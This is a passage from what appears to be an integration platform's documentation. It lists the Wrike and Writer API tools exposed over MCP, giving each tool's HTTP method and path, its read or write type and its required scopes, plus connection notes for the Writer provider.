(read) — Get Comments By ID via GET /comments/{commentIds} GET /api/v1/wrike/comments/{commentIds}. Scopes: wsReadOnly. wrike_get_contacts (read) — Query Contacts via GET /contacts GET /api/v1/wrike/contacts. Scopes: wsReadOnly. wrike_get_contacts_by_contactid_timelogs (read) — Get Timelogs (User) via GET /contacts/{contactId}/timelogs GET /api/v1/wrike/contacts/{contactId}/timelogs. Scopes: wsReadOnly. wrike_get_contacts_by_contactids (read) — Query Contacts via GET /contacts/{contactIds} GET /api/v1/wrike/contacts/{contactIds}. Scopes: wsReadOnly. wrike_get_contacts_by_contactids_contacts_history (read) — Query Contacts fields history via GET /contacts/{contactIds}/contacts_history GET /api/v1/wrike/contacts/{contactIds}/contacts_history. Scopes: wsReadOnly. wrike_get_contacts_by_contactids_hourly_rates (read) — Get Budget Rates (Contacts) via GET /contacts/{contactIds}/hourly_rates GET /api/v1/wrike/contacts/{contactIds}/hourly_rates. Scopes: wsReadOnly. wrike_get_custom_item_types (read) — Query All Custom Item Types via GET /custom_item_types GET /api/v1/wrike/custom_item_types. Scopes: wsReadOnly. wrike_get_custom_item_types_by_customitemtypeids (read) — Query Specific Custom Item Type by ID via GET /custom_item_types/{customItemTypeIds} GET /api/v1/wrike/custom_item_types/{customItemTypeIds}. Scopes: wsReadOnly. wrike_get_customfields (read) — Get Custom Fields (Account) via GET /customfields GET /api/v1/wrike/customfields. Scopes: wsReadOnly. wrike_get_customfields_by_customfieldids (read) — Get Custom Fields By ID via GET /customfields/{customfieldIds} GET /api/v1/wrike/customfields/{customfieldIds}. Scopes: wsReadOnly. wrike_get_data_export (read) — Get Data Export via GET /data_export GET /api/v1/wrike/data_export. Scopes: dataExportFull. wrike_get_data_export_by_dataexportid (read) — Get Data Export via GET /data_export/{dataExportId} GET /api/v1/wrike/data_export/{dataExportId}. Scopes: dataExportFull. wrike_get_data_export_schema (read) — Get Data Export Schema via GET /data_export_schema GET /api/v1/wrike/data_export_schema. Scopes: dataExportFull. wrike_get_dependencies_by_dependencyids (read) — Get Dependencies By ID via GET /dependencies/{dependencyIds} GET /api/v1/wrike/dependencies/{dependencyIds}. Scopes: wsReadOnly. wrike_get_folder_blueprints (read) — Get Folder Blueprints (Account) via GET /folder_blueprints GET /api/v1/wrike/folder_blueprints. Scopes: wsReadOnly. wrike_get_folders (read) — Get Folders (Account) via GET /folders GET /api/v1/wrike/folders. Scopes: wsReadOnly. wrike_get_folders_by_folderid_approvals (read) — Get Approvals (Folder) via GET /folders/{folderId}/approvals GET /api/v1/wrike/folders/{folderId}/approvals. Scopes: wsReadOnly. wrike_get_folders_by_folderid_attachments (read) — Get Attachments (Folder) via GET /folders/{folderId}/attachments GET /api/v1/wrike/folders/{folderId}/attachments. Scopes: wsReadOnly. wrike_get_folders_by_folderid_bookings (read) — Get Bookings (Folder) via GET /folders/{folderId}/bookings GET /api/v1/wrike/folders/{folderId}/bookings. Scopes: wsReadOnly. wrike_get_folders_by_folderid_comments (read) — Get Comments (Folder) via GET /folders/{folderId}/comments GET /api/v1/wrike/folders/{folderId}/comments. Scopes: wsReadOnly. wrike_get_folders_by_folderid_folders (read) — Get Folders (Folder) via GET /folders/{folderId}/folders GET /api/v1/wrike/folders/{folderId}/folders. Scopes: wsReadOnly. wrike_get_folders_by_folderid_hourly_rates (read) — Get Budget Rates (Folder) via GET /folders/{folderId}/hourly_rates GET /api/v1/wrike/folders/{folderId}/hourly_rates. Scopes: wsReadOnly. wrike_get_folders_by_folderid_rollups (read) — Get Rollup Settings (Folder) via GET /folders/{folderId}/rollups GET /api/v1/wrike/folders/{folderId}/rollups. Scopes: wsReadOnly. wrike_get_folders_by_folderid_tasks (read) — Get Tasks (Folder) via GET /folders/{folderId}/tasks GET /api/v1/wrike/folders/{folderId}/tasks. Scopes: wsReadOnly. wrike_get_folders_by_folderid_timelog_lock_periods (read) — Get Timelog Locks (Folder) via GET /folders/{folderId}/timelog_lock_periods GET /api/v1/wrike/folders/{folderId}/timelog_lock_periods. Scopes: wsReadOnly. wrike_get_folders_by_folderid_timelogs (read) — Get Timelogs (Folder) via GET /folders/{folderId}/timelogs GET /api/v1/wrike/folders/{folderId}/timelogs. Scopes: wsReadOnly. wrike_get_folders_by_folderids (read) — Get Folder By ID via GET /folders/{folderIds} GET /api/v1/wrike/folders/{folderIds}. Scopes: wsReadOnly. wrike_get_folders_by_folderids_folders_history (read) — Query Folders fields history via GET /folders/{folderIds}/folders_history GET /api/v1/wrike/folders/{folderIds}/folders_history. Scopes: wsReadOnly. wrike_get_groups (read) — Query Groups via GET /groups GET /api/v1/wrike/groups. Scopes: amReadOnlyGroup. wrike_get_groups_by_groupid (read) — Query Groups via GET /groups/{groupId} GET /api/v1/wrike/groups/{groupId}. Scopes: amReadOnlyGroup. wrike_get_ids (read) — Legacy API v2 IDs converter via GET /ids GET /api/v1/wrike/ids. Scopes: wsReadOnly. wrike_get_invitations (read) — Query Invitations via GET /invitations GET /api/v1/wrike/invitations. Scopes: amReadOnlyInvitation. wrike_get_jobroles (read) — Get Job Roles (Account) via GET /jobroles GET /api/v1/wrike/jobroles. Scopes: amReadOnlyUser. wrike_get_jobroles_by_jobroleids (read) — Get Job Roles By ID via GET /jobroles/{jobroleIds} GET /api/v1/wrike/jobroles/{jobroleIds}. Scopes: amReadOnlyUser. wrike_get_placeholders (read) — Get Placeholders (Account) via GET /placeholders GET /api/v1/wrike/placeholders. Scopes: amReadOnlyUser. wrike_get_placeholders_by_placeholderids (read) — Get Placeholders By ID via GET /placeholders/{placeholderIds} GET /api/v1/wrike/placeholders/{placeholderIds}. Scopes: amReadOnlyUser. wrike_get_placeholders_by_placeholderids_hourly_rates (read) — Get Budget Rates (Placeholders) via GET /placeholders/{placeholderIds}/hourly_rates GET /api/v1/wrike/placeholders/{placeholderIds}/hourly_rates. Scopes: wsReadOnly. wrike_get_request_forms (read) — Query Request Forms via GET /request_forms GET /api/v1/wrike/request_forms. Scopes: wsReadOnly. wrike_get_request_forms_by_requestformid (read) — Get Request Form by ID via GET /request_forms/{requestFormId} GET /api/v1/wrike/request_forms/{requestFormId}. Scopes: wsReadOnly. wrike_get_spaces (read) — Get Spaces (Account) via GET /spaces GET /api/v1/wrike/spaces. Scopes: wsReadOnly. wrike_get_spaces_by_spaceid (read) — Get Space By ID via GET /spaces/{spaceId} GET /api/v1/wrike/spaces/{spaceId}. Scopes: wsReadOnly. wrike_get_spaces_by_spaceid_custom_item_types (read) — Query All Custom Item Types via GET /spaces/{spaceId}/custom_item_types GET /api/v1/wrike/spaces/{spaceId}/custom_item_types. Scopes: wsReadOnly. wrike_get_spaces_by_spaceid_customfields (read) — Get Custom Fields (Space) via GET /spaces/{spaceId}/customfields GET /api/v1/wrike/spaces/{spaceId}/customfields. Scopes: wsReadOnly. wrike_get_spaces_by_spaceid_folder_blueprints (read) — Get Folder Blueprints (Space) via GET /spaces/{spaceId}/folder_blueprints GET /api/v1/wrike/spaces/{spaceId}/folder_blueprints. Scopes: wsReadOnly. wrike_get_spaces_by_spaceid_folders (read) — Get Folders (Space) via GET /spaces/{spaceId}/folders GET /api/v1/wrike/spaces/{spaceId}/folders. Scopes: wsReadOnly. wrike_get_spaces_by_spaceid_request_forms (read) — Query Request Forms via GET /spaces/{spaceId}/request_forms GET /api/v1/wrike/spaces/{spaceId}/request_forms. Scopes: wsReadOnly. wrike_get_spaces_by_spaceid_task_blueprints (read) — Get Task Blueprints (Space) via GET /spaces/{spaceId}/task_blueprints GET /api/v1/wrike/spaces/{spaceId}/task_blueprints. Scopes: wsReadOnly. wrike_get_spaces_by_spaceid_tasks (read) — Get Tasks (Space) via GET /spaces/{spaceId}/tasks GET /api/v1/wrike/spaces/{spaceId}/tasks. Scopes: wsReadOnly. wrike_get_spaces_by_spaceid_timelog_lock_periods (read) — Get Timelog Locks (Space) via GET /spaces/{spaceId}/timelog_lock_periods GET /api/v1/wrike/spaces/{spaceId}/timelog_lock_periods. Scopes: wsReadOnly. wrike_get_spaces_by_spaceid_workflows (read) — Query Workflows via GET /spaces/{spaceId}/workflows GET /api/v1/wrike/spaces/{spaceId}/workflows. Scopes: wsReadOnly. wrike_get_task_blueprints (read) — Get Task Blueprints (Account) via GET /task_blueprints GET /api/v1/wrike/task_blueprints. Scopes: wsReadOnly. wrike_get_tasks (read) — Get Tasks (Account) via GET /tasks GET /api/v1/wrike/tasks. Scopes: wsReadOnly. wrike_get_tasks_by_taskid_approvals (read) — Get Approvals (Task) via GET /tasks/{taskId}/approvals GET /api/v1/wrike/tasks/{taskId}/approvals. Scopes: wsReadOnly. wrike_get_tasks_by_taskid_attachments (read) — Get Attachments (Task) via GET /tasks/{taskId}/attachments GET /api/v1/wrike/tasks/{taskId}/attachments. Scopes: wsReadOnly. wrike_get_tasks_by_taskid_comments (read) — Get Comments (Task) via GET /tasks/{taskId}/comments GET /api/v1/wrike/tasks/{taskId}/comments. Scopes: wsReadOnly. wrike_get_tasks_by_taskid_dependencies (read) — Get Dependencies (Task) via GET /tasks/{taskId}/dependencies GET /api/v1/wrike/tasks/{taskId}/dependencies. Scopes: wsReadOnly. wrike_get_tasks_by_taskid_rollups (read) — Get Rollup Settings (Task) via GET /tasks/{taskId}/rollups GET /api/v1/wrike/tasks/{taskId}/rollups. Scopes: wsReadOnly. wrike_get_tasks_by_taskid_timelog_lock_periods (read) — Get Timelog Locks (Task) via GET /tasks/{taskId}/timelog_lock_periods GET /api/v1/wrike/tasks/{taskId}/timelog_lock_periods. Scopes: wsReadOnly. wrike_get_tasks_by_taskid_timelogs (read) — Get Timelogs (Task) via GET /tasks/{taskId}/timelogs GET /api/v1/wrike/tasks/{taskId}/timelogs. Scopes: wsReadOnly. wrike_get_tasks_by_taskids (read) — Get Tasks By IDs via GET /tasks/{taskIds} GET /api/v1/wrike/tasks/{taskIds}. Scopes: wsReadOnly. wrike_get_tasks_by_taskids_tasks_history (read) — Query Tasks fields history via GET /tasks/{taskIds}/tasks_history GET /api/v1/wrike/tasks/{taskIds}/tasks_history. Scopes: wsReadOnly. wrike_get_timelog_categories (read) — Query Timelog categories via GET /timelog_categories GET /api/v1/wrike/timelog_categories. Scopes: wsReadOnly. wrike_get_timelog_categories_by_timelogcategoryid_timelogs (read) — Get Timelogs (Category) via GET /timelog_categories/{timelogCategoryId}/timelogs GET /api/v1/wrike/timelog_categories/{timelogCategoryId}/timelogs. Scopes: wsReadOnly. wrike_get_timelogs (read) — Get Timelogs (Account) via GET /timelogs GET /api/v1/wrike/timelogs. Scopes: wsReadOnly. wrike_get_timelogs_by_timelogids (read) — Get Timelogs By ID via GET /timelogs/{timelogIds} GET /api/v1/wrike/timelogs/{timelogIds}. Scopes: wsReadOnly. wrike_get_timesheet_submission_rules (read) — Get Timesheet Submission Rules (Account) via GET /timesheet_submission_rules GET /api/v1/wrike/timesheet_submission_rules. Scopes: wsReadOnly. wrike_get_timesheets (read) — Query Timesheets via GET /timesheets GET /api/v1/wrike/timesheets. Scopes: wsReadOnly. wrike_get_user_schedule_capacity_change (read) — Get Work Schedule Capacity Changes (User) via GET /user_schedule_capacity_change GET /api/v1/wrike/user_schedule_capacity_change. Scopes: amReadOnlyWorkSchedule. wrike_get_user_schedule_capacity_change_by_userschedulecapacitychangeids (read) — Get User Work Schedule Capacity Change by ID via GET /user_schedule_capacity_change/{userScheduleCapacityChangeIds} GET /api/v1/wrike/user_schedule_capacity_change/{userScheduleCapacityChangeIds}. Scopes: amReadOnlyWorkSchedule. wrike_get_user_schedule_exclusions (read) — Query User Schedule exception via GET /user_schedule_exclusions GET /api/v1/wrike/user_schedule_exclusions. Scopes: amReadOnlyWorkSchedule. wrike_get_user_schedule_exclusions_by_userscheduleexclusionid (read) — Query User Schedule exception via GET /user_schedule_exclusions/{userScheduleExclusionId} GET /api/v1/wrike/user_schedule_exclusions/{userScheduleExclusionId}. Scopes: amReadOnlyWorkSchedule. wrike_get_user_schedule_partial_exclusion (read) — Query User Schedule partial exceptions via GET /user_schedule_partial_exclusion GET /api/v1/wrike/user_schedule_partial_exclusion. Scopes: amReadOnlyWorkSchedule. wrike_get_user_schedule_partial_exclusion_by_userschedulepartialexclusionids (read) — Query User Schedule partial exceptions via GET /user_schedule_partial_exclusion/{userSchedulePartialExclusionIds} GET /api/v1/wrike/user_schedule_partial_exclusion/{userSchedulePartialExclusionIds}. Scopes: amReadOnlyWorkSchedule. wrike_get_user_types (read) — Get User Types via GET /user_types GET /api/v1/wrike/user_types. Scopes: amReadOnlyAccessRole. wrike_get_users_by_userid (read) — Query User via GET /users/{userId} GET /api/v1/wrike/users/{userId}. Scopes: amReadOnlyUser. wrike_get_version (read) — API Version via GET /version GET /api/v1/wrike/version. Scopes: none. wrike_get_workflows (read) — Query Workflows via GET /workflows GET /api/v1/wrike/workflows. Scopes: wsReadOnly. wrike_get_workschedule_capacity_change_by_workschedulecapacitychangeids (read) — Get Work Schedule Capacity Changes by Change ID via GET /workschedule_capacity_change/{workscheduleCapacityChangeIds} GET /api/v1/wrike/workschedule_capacity_change/{workscheduleCapacityChangeIds}. Scopes: amReadOnlyWorkSchedule. wrike_get_workschedule_exclusions_by_workscheduleexclusionid (read) — Get Work Schedule Exception by ID via GET /workschedule_exclusions/{workscheduleExclusionId} GET /api/v1/wrike/workschedule_exclusions/{workscheduleExclusionId}. Scopes: amReadOnlyWorkSchedule. wrike_get_workschedules (read) — Query Work Schedules via GET /workschedules GET /api/v1/wrike/workschedules. Scopes: amReadOnlyWorkSchedule. wrike_get_workschedules_by_workscheduleid (read) — Query Work Schedules via GET /workschedules/{workscheduleId} GET /api/v1/wrike/workschedules/{workscheduleId}. Scopes: amReadOnlyWorkSchedule. wrike_get_workschedules_by_workscheduleid_timesheet_submission_rules (read) — Get Timesheet Submission Rules (Work Schedule) via GET /workschedules/{workscheduleId}/timesheet_submission_rules GET /api/v1/wrike/workschedules/{workscheduleId}/timesheet_submission_rules. Scopes: wsReadOnly. wrike_get_workschedules_by_workscheduleid_workschedule_capacity_change (read) — Get Work Schedule Capacity Changes (Work Schedule) via GET /workschedules/{workscheduleId}/workschedule_capacity_change GET /api/v1/wrike/workschedules/{workscheduleId}/workschedule_capacity_change. Scopes: amReadOnlyWorkSchedule. wrike_get_workschedules_by_workscheduleid_workschedule_exclusions (read) — Get Work Schedule Exceptions (Work Schedule) via GET /workschedules/{workscheduleId}/workschedule_exclusions GET /api/v1/wrike/workschedules/{workscheduleId}/workschedule_exclusions. Scopes: amReadOnlyWorkSchedule. wrike_post_assets (write) — Create Equipment via POST /assets POST /api/v1/wrike/assets. Scopes: amReadWriteUser. wrike_post_batch (write) — Create Batch Operation via POST /batch POST /api/v1/wrike/batch. Scopes: wsReadWrite. wrike_post_copy_folder_async_by_folderid (write) — Copy Folder async via POST /copy_folder_async/{folderId} POST /api/v1/wrike/copy_folder_async/{folderId}. Scopes: wsReadWrite. wrike_post_copy_folder_by_folderid (write) — Copy Folder via POST /copy_folder/{folderId} POST /api/v1/wrike/copy_folder/{folderId}. Scopes: wsReadWrite. wrike_post_custom_item_types_by_customitemtypeid_instantiate (write) — Create Work from Custom Item Type via POST /custom_item_types/{customItemTypeId}/instantiate POST /api/v1/wrike/custom_item_types/{customItemTypeId}/instantiate. Scopes: wsReadWrite. wrike_post_customfields (write) — Create Custom Field (Account) via POST /customfields POST /api/v1/wrike/customfields. Scopes: wsReadWrite. wrike_post_data_export (write) — Refresh Data Export via POST /data_export POST /api/v1/wrike/data_export. Scopes: dataExportFull. wrike_post_ediscovery_search (write) — eDiscovery Search via POST /ediscovery_search POST /api/v1/wrike/ediscovery_search. Scopes: wsReadWrite. wrike_post_folder_blueprints_by_folderblueprintid_launch_async (write) — Async Work Creation via POST /folder_blueprints/{folderBlueprintId}/launch_async POST /api/v1/wrike/folder_blueprints/{folderBlueprintId}/launch_async. Scopes: wsReadWrite. wrike_post_folders_by_folderid_approvals (write) — Create Approvals (Folder) via POST /folders/{folderId}/approvals POST /api/v1/wrike/folders/{folderId}/approvals. Scopes: wsReadWrite. wrike_post_folders_by_folderid_bookings (write) — Create Booking via POST /folders/{folderId}/bookings POST /api/v1/wrike/folders/{folderId}/bookings. Scopes: wsReadWrite. wrike_post_folders_by_folderid_cascading_field_settings (write) — Trigger field cascading via POST /folders/{folderId}/cascading_field_settings POST /api/v1/wrike/folders/{folderId}/cascading_field_settings. Scopes: wsReadWrite. wrike_post_folders_by_folderid_comments (write) — Create Comment (Folder) via POST /folders/{folderId}/comments POST /api/v1/wrike/folders/{folderId}/comments. Scopes: wsReadWrite. wrike_post_folders_by_folderid_folders (write) — Create Folder via POST /folders/{folderId}/folders POST /api/v1/wrike/folders/{folderId}/folders. Scopes: wsReadWrite. wrike_post_folders_by_folderid_tasks (write) — Create Task (Folder) via POST /folders/{folderId}/tasks POST /api/v1/wrike/folders/{folderId}/tasks. Scopes: wsReadWrite. wrike_post_folders_by_folderid_timelog_lock_periods (write) — Create Timelog Lock (Folder) via POST /folders/{folderId}/timelog_lock_periods POST /api/v1/wrike/folders/{folderId}/timelog_lock_periods. Scopes: wsReadWrite. wrike_post_groups (write) — Create Groups via POST /groups POST /api/v1/wrike/groups. Scopes: amReadWriteGroup. wrike_post_invitations (write) — Create Invitation via POST /invitations POST /api/v1/wrike/invitations. Scopes: amReadWriteInvitation. wrike_post_jobroles (write) — Create Job Role via POST /jobroles POST /api/v1/wrike/jobroles. Scopes: amReadWriteUser. wrike_post_request_forms_by_requestformid_prefill_url (write) — Generate prefilled Request Form URL via POST /request_forms/{requestFormId}/prefill_url POST /api/v1/wrike/request_forms/{requestFormId}/prefill_url. Scopes: wsReadWrite. wrike_post_request_forms_by_requestformid_submit (write) — Submit Request Form via POST /request_forms/{requestFormId}/submit POST /api/v1/wrike/request_forms/{requestFormId}/submit. Scopes: wsReadWrite. wrike_post_spaces (write) — Create Space via POST /spaces POST /api/v1/wrike/spaces. Scopes: wsReadWrite. wrike_post_spaces_by_spaceid_timelog_lock_periods (write) — Create Timelog Lock (Space) via POST /spaces/{spaceId}/timelog_lock_periods POST /api/v1/wrike/spaces/{spaceId}/timelog_lock_periods. Scopes: wsReadWrite. wrike_post_task_blueprints_by_taskblueprintid_launch_async (write) — Async Work Creation via POST /task_blueprints/{taskBlueprintId}/launch_async POST /api/v1/wrike/task_blueprints/{taskBlueprintId}/launch_async. Scopes: wsReadWrite. wrike_post_tasks_by_taskid_approvals (write) — Create Approvals (Task) via POST /tasks/{taskId}/approvals POST /api/v1/wrike/tasks/{taskId}/approvals. Scopes: wsReadWrite. wrike_post_tasks_by_taskid_cascading_field_settings (write) — Trigger field cascading via POST /tasks/{taskId}/cascading_field_settings POST /api/v1/wrike/tasks/{taskId}/cascading_field_settings. Scopes: wsReadWrite. wrike_post_tasks_by_taskid_comments (write) — Create Comment (Task) via POST /tasks/{taskId}/comments POST /api/v1/wrike/tasks/{taskId}/comments. Scopes: wsReadWrite. wrike_post_tasks_by_taskid_dependencies (write) — Create Dependency via POST /tasks/{taskId}/dependencies POST /api/v1/wrike/tasks/{taskId}/dependencies. Scopes: wsReadWrite. wrike_post_tasks_by_taskid_timelogs (write) — Create Timelog via POST /tasks/{taskId}/timelogs POST /api/v1/wrike/tasks/{taskId}/timelogs. Scopes: wsReadWrite. wrike_post_timesheets (write) — Create Timesheet via POST /timesheets POST /api/v1/wrike/timesheets. Scopes: wsReadWrite. wrike_post_user_schedule_exclusions (write) — Create User Schedule exception via POST /user_schedule_exclusions POST /api/v1/wrike/user_schedule_exclusions. Scopes: amReadWriteWorkSchedule. wrike_post_user_schedule_partial_exclusion (write) — Create User Schedule partial exception via POST /user_schedule_partial_exclusion POST /api/v1/wrike/user_schedule_partial_exclusion. Scopes: amReadWriteWorkSchedule. wrike_post_users_by_userid_user_schedule_capacity_change (write) — Create User Schedule Capacity change via POST /users/{userId}/user_schedule_capacity_change POST /api/v1/wrike/users/{userId}/user_schedule_capacity_change. Scopes: amReadWriteWorkSchedule. wrike_post_workflows (write) — Create Workflow via POST /workflows POST /api/v1/wrike/workflows. Scopes: amReadWriteWorkflow. wrike_post_workschedules (write) — Create Work Schedule via POST /workschedules POST /api/v1/wrike/workschedules. Scopes: amReadWriteWorkSchedule. wrike_post_workschedules_by_workscheduleid_duplicate (write) — Copy Work Schedule via POST /workschedules/{workscheduleId}/duplicate POST /api/v1/wrike/workschedules/{workscheduleId}/duplicate. Scopes: amReadWriteWorkSchedule. wrike_post_workschedules_by_workscheduleid_workschedule_capacity_change (write) — Create Work Schedule capacity change via POST /workschedules/{workscheduleId}/workschedule_capacity_change POST /api/v1/wrike/workschedules/{workscheduleId}/workschedule_capacity_change. Scopes: amReadWriteWorkSchedule. wrike_post_workschedules_by_workscheduleid_workschedule_exclusions (write) — Create Work Schedule exception via POST /workschedules/{workscheduleId}/workschedule_exclusions POST /api/v1/wrike/workschedules/{workscheduleId}/workschedule_exclusions. Scopes: amReadWriteWorkSchedule. wrike_put_account (write) — Modify Account via PUT /account PUT /api/v1/wrike/account. Scopes: wsReadWrite. wrike_put_approvals_by_approvalid (write) — Update approval via PUT /approvals/{approvalId} PUT /api/v1/wrike/approvals/{approvalId}. Scopes: wsReadWrite. wrike_put_assets_by_assetid (write) — Update Equipment via PUT /assets/{assetId} PUT /api/v1/wrike/assets/{assetId}. Scopes: amReadWriteUser. wrike_put_attachments_by_attachmentid (write) — Update Attachment via PUT /attachments/{attachmentId} PUT /api/v1/wrike/attachments/{attachmentId}. Scopes: wsReadWrite. wrike_put_bookings_by_bookingid (write) — Update Booking via PUT /bookings/{bookingId} PUT /api/v1/wrike/bookings/{bookingId}. Scopes: wsReadWrite. wrike_put_comments_by_commentid (write) — Update Comment via PUT /comments/{commentId} PUT /api/v1/wrike/comments/{commentId}. Scopes: wsReadWrite. wrike_put_contacts_by_contactid (write) — Modify Contact via PUT /contacts/{contactId} PUT /api/v1/wrike/contacts/{contactId}. Scopes: wsReadWrite. wrike_put_contacts_by_contactids_hourly_rates_provision (write) — Provision via PUT /contacts/{contactIds}/hourly_rates_provision PUT /api/v1/wrike/contacts/{contactIds}/hourly_rates_provision. Scopes: wsReadWrite. wrike_put_customfields_by_customfieldid (write) — Modify Custom Field via PUT /customfields/{customfieldId} PUT /api/v1/wrike/customfields/{customfieldId}. Scopes: wsReadWrite. wrike_put_dependencies_by_dependencyid (write) — Modify Dependency via PUT /dependencies/{dependencyId} PUT /api/v1/wrike/dependencies/{dependencyId}. Scopes: wsReadWrite. wrike_put_folders_by_folderid (write) — Update Folder via PUT /folders/{folderId} PUT /api/v1/wrike/folders/{folderId}. Scopes: wsReadWrite. wrike_put_folders_by_folderid_hourly_rates (write) — Update Budget Rates (Folder) via PUT /folders/{folderId}/hourly_rates PUT /api/v1/wrike/folders/{folderId}/hourly_rates. Scopes: wsReadWrite. wrike_put_folders_by_folderid_rollups (write) — Update Rollup Settings (Folder) via PUT /folders/{folderId}/rollups PUT /api/v1/wrike/folders/{folderId}/rollups. Scopes: wsReadWrite. wrike_put_folders_by_folderids (write) — Update Folders (Bulk) via PUT /folders/{folderIds} PUT /api/v1/wrike/~folderIds/folders/{folderIds}. Scopes: wsReadWrite. wrike_put_groups_bulk (write) — Bulk modify groups via PUT /groups_bulk PUT /api/v1/wrike/groups_bulk. Scopes: amReadWriteGroup. wrike_put_groups_by_groupid (write) — Modify Groups via PUT /groups/{groupId} PUT /api/v1/wrike/groups/{groupId}. Scopes: amReadWriteGroup. wrike_put_hourly_rates (write) — Update Budget Rates (Account) via PUT /hourly_rates PUT /api/v1/wrike/hourly_rates. Scopes: wsReadWrite. wrike_put_invitations_by_invitationid (write) — Update Invitation via PUT /invitations/{invitationId} PUT /api/v1/wrike/invitations/{invitationId}. Scopes: amReadWriteInvitation. wrike_put_jobroles_by_jobroleid (write) — Update Job Role via PUT /jobroles/{jobroleId} PUT /api/v1/wrike/jobroles/{jobroleId}. Scopes: amReadWriteUser. wrike_put_spaces_by_spaceid (write) — Update Space via PUT /spaces/{spaceId} PUT /api/v1/wrike/spaces/{spaceId}. Scopes: wsReadWrite. wrike_put_tasks_by_taskid (write) — Update Task via PUT /tasks/{taskId} PUT /api/v1/wrike/tasks/{taskId}. Scopes: wsReadWrite. wrike_put_tasks_by_taskid_rollups (write) — Update Rollup Settings (Task) via PUT /tasks/{taskId}/rollups PUT /api/v1/wrike/tasks/{taskId}/rollups. Scopes: wsReadWrite. wrike_put_tasks_by_taskids (write) — Update Tasks (Bulk) via PUT /tasks/{taskIds} PUT /api/v1/wrike/~taskIds/tasks/{taskIds}. Scopes: wsReadWrite. wrike_put_timelogs_by_timelogid (write) — Modify Timelog via PUT /timelogs/{timelogId} PUT /api/v1/wrike/timelogs/{timelogId}. Scopes: wsReadWrite. wrike_put_timesheet_rows_by_timesheetrowid (write) — Update Timesheet Row via PUT /timesheet_rows/{timesheetRowId} PUT /api/v1/wrike/timesheet_rows/{timesheetRowId}. Scopes: wsReadWrite. wrike_put_timesheets_by_timesheetid (write) — Update Timesheet via PUT /timesheets/{timesheetId} PUT /api/v1/wrike/timesheets/{timesheetId}. Scopes: wsReadWrite. wrike_put_user_schedule_capacity_change_by_userschedulecapacitychangeid (write) — Update User Schedule Capacity change via PUT /user_schedule_capacity_change/{userScheduleCapacityChangeId} PUT /api/v1/wrike/user_schedule_capacity_change/{userScheduleCapacityChangeId}. Scopes: amReadWriteWorkSchedule. wrike_put_user_schedule_exclusions_by_userscheduleexclusionid (write) — Update User Schedule exception via PUT /user_schedule_exclusions/{userScheduleExclusionId} PUT /api/v1/wrike/user_schedule_exclusions/{userScheduleExclusionId}. Scopes: amReadWriteWorkSchedule. wrike_put_user_schedule_partial_exclusion_by_userschedulepartialexclusionid (write) — Update User Schedule partial exception via PUT /user_schedule_partial_exclusion/{userSchedulePartialExclusionId} PUT /api/v1/wrike/user_schedule_partial_exclusion/{userSchedulePartialExclusionId}. Scopes: amReadWriteWorkSchedule. wrike_put_users_by_userid (write) — Modify User via PUT /users/{userId} PUT /api/v1/wrike/users/{userId}. Scopes: amReadWriteUser. wrike_put_users_by_userids (write) — Modify User via PUT /users/{userIds} PUT /api/v1/wrike/~userIds/users/{userIds}. Scopes: amReadWriteUser. wrike_put_workflows_by_workflowid (write) — Modify Workflow via PUT /workflows/{workflowId} PUT /api/v1/wrike/workflows/{workflowId}. Scopes: amReadWriteWorkflow. wrike_put_workschedule_capacity_change_by_workschedulecapacitychangeid (write) — Update Work Schedule capacity change via PUT /workschedule_capacity_change/{workscheduleCapacityChangeId} PUT /api/v1/wrike/workschedule_capacity_change/{workscheduleCapacityChangeId}. Scopes: amReadWriteWorkSchedule. wrike_put_workschedule_exclusions_by_workscheduleexclusionid (write) — Update Work Schedule exception via PUT /workschedule_exclusions/{workscheduleExclusionId} PUT /api/v1/wrike/workschedule_exclusions/{workscheduleExclusionId}. Scopes: amReadWriteWorkSchedule. wrike_put_workschedules_by_workscheduleid (write) — Update Work Schedule via PUT /workschedules/{workscheduleId} PUT /api/v1/wrike/workschedules/{workscheduleId}. Scopes: amReadWriteWorkSchedule. wrike_put_workschedules_by_workscheduleid_timesheet_submission_rules (write) — Update Timesheet Submission Rules via PUT /workschedules/{workscheduleId}/timesheet_submission_rules PUT /api/v1/wrike/workschedules/{workscheduleId}/timesheet_submission_rules. Scopes: wsReadWrite. ================================================================================ ## Writer URL: https://www.agenticfabriq.com/integrations/writer Section: Integrated Tools Writer — 28 MCP tools Provider key: writer. Scopes: applications, completions, files, knowledge_graphs, tools, vision. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. writer_delete_v1_files_by_file_id (write, destructive) — Permanently delete a file from the system. This action cannot be undone. Permanent: Writer documents that this cannot be undone. Needs the `files` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. DELETE /api/v1/writer/v1/files/{file_id}. Scopes: files. writer_delete_v1_graphs_by_graph_id (write, destructive) — Delete a Knowledge Graph. Deletes the Knowledge Graph itself; the files it held remain in the file store and can be attached elsewhere. Needs the `knowledge_graphs` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. DELETE /api/v1/writer/v1/graphs/{graph_id}. Scopes: knowledge_graphs. writer_delete_v1_graphs_by_graph_id_file_by_file_id (write, destructive) — Remove a file from a Knowledge Graph. Needs the `knowledge_graphs` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. DELETE /api/v1/writer/v1/graphs/{graph_id}/file/{file_id}. Scopes: knowledge_graphs. writer_get_v1_applications (read) — Retrieves a paginated list of no-code agents (formerly called no-code applications) with optional filtering and sorting capabilities. No-code agents are created in AI Studio (Agent Builder), never through the API; a workspace with none answers an empty `data` array. Needs the `applications` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. GET /api/v1/writer/v1/applications. Scopes: applications. writer_get_v1_applications_by_application_id (read) — Retrieves detailed information for a specific no-code agent (formerly called no-code applications), including its configuration and current status. Needs the `applications` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. GET /api/v1/writer/v1/applications/{application_id}. Scopes: applications. writer_get_v1_applications_by_application_id_graphs (read) — Retrieve Knowledge Graphs associated with a 